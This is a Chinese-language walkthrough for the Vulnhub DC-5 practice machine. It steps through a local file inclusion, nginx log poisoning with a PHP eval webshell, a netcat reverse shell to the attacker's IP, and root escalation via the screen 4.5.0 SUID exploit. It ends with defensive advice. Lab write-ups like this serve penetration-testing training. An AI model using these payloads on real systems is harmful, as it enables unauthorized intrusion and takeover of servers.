Vulnhub--DC-5
字数 1253 2025-08-11 21:26:29
Vulnhub DC-5 渗透测试实战教学文档
一、靶机环境部署
-
下载靶机:
- 下载地址:https://download.vulnhub.com/dc/DC-5.zip
- 下载后解压缩,得到.ova格式的虚拟机文件
-
导入虚拟机:
- 使用VMware或VirtualBox导入.ova文件
- 导入过程中可能出现警告,选择"重试"继续
-
网络配置:
- 建议使用NAT模式
- 确保攻击机和靶机在同一网络段
二、信息收集阶段
-
发现靶机IP:
arp-scan -l- 识别靶机IP(示例中为192.168.237.149)
-
端口扫描:
nmap -A -T4 -p- 192.168.237.149- 发现开放端口:
- 80端口:Web服务
- 111端口:RPC服务
- 60046端口:未知服务
- 发现开放端口:
-
Web目录扫描:
dirb http://192.168.237.149/- 初始扫描可能无显著发现
三、漏洞发现与利用
1. 文件包含漏洞发现
-
Web功能测试:
- 访问http://192.168.237.149/
- 重点测试"Contact"功能
- 提交留言后观察页面变化
-
源代码分析:
- 发现thankyou.php页面包含footer.php
- 每次刷新thankyou.php,footer.php内容会变化
-
参数爆破:
- 使用Burp Suite等工具爆破参数
- 发现file参数存在文件包含漏洞
-
验证文件包含:
http://192.168.237.149/thankyou.php?file=/etc/passwd- 成功读取系统文件验证漏洞存在
2. 利用文件包含获取WebShell
-
识别中间件:
- 使用Wappalyzer识别Nginx 1.6.2
-
日志文件包含:
- Nginx访问日志路径:/var/log/nginx/access.log
- 构造恶意请求:
firstname=<?php @eval($_POST['HK']); ?> - 访问日志文件:
http://192.168.237.149/thankyou.php?file=/var/log/nginx/access.log
-
连接WebShell:
- 使用蚁剑等工具连接
- 地址:http://192.168.237.149/thankyou.php?file=/var/log/nginx/access.log
- 密码:HK
四、权限提升
1. 初始访问
-
反弹Shell:
- 攻击机监听:
nc -lvvp 4444 - 通过蚁剑执行:
nc 192.168.237.148 4444 -e /bin/bash
- 攻击机监听:
-
交互式Shell:
python -c "import pty;pty.spawn('/bin/bash')"
2. 提权准备
-
查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null- 发现可疑程序:screen-4.5.0
-
搜索漏洞利用:
searchsploit screen 4.5.0- 发现漏洞利用脚本:41154.sh
3. 提权实施
-
准备漏洞利用文件:
- 从Kali中提取41154.sh内容
- 分割为三个文件:
- libhax.c
- rootshell.c
- a.sh
-
编译利用代码:
gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c -
上传文件:
- 使用蚁剑上传到靶机/tmp目录
- 文件:
- libhax.so
- rootshell
- a.sh
-
执行提权:
cd /tmp chmod +x a.sh ./a.sh- 成功获取root权限
五、获取Flag
-
定位flag文件:
cd /root ls -
查看flag内容:
cat flag.txt
六、技术总结
-
涉及漏洞:
- 文件包含漏洞(LFI)
- Screen 4.5.0 SUID提权漏洞
-
关键技术点:
- 通过日志文件注入PHP代码
- 利用文件包含执行日志中的恶意代码
- 通过SUID程序进行权限提升
-
防御建议:
- 限制文件包含参数的可访问路径
- 及时更新存在漏洞的软件版本
- 合理设置文件权限,避免不必要的SUID程序
-
学习要点:
- 信息收集的全面性
- 漏洞利用的链式思维
- 权限提升的多途径尝试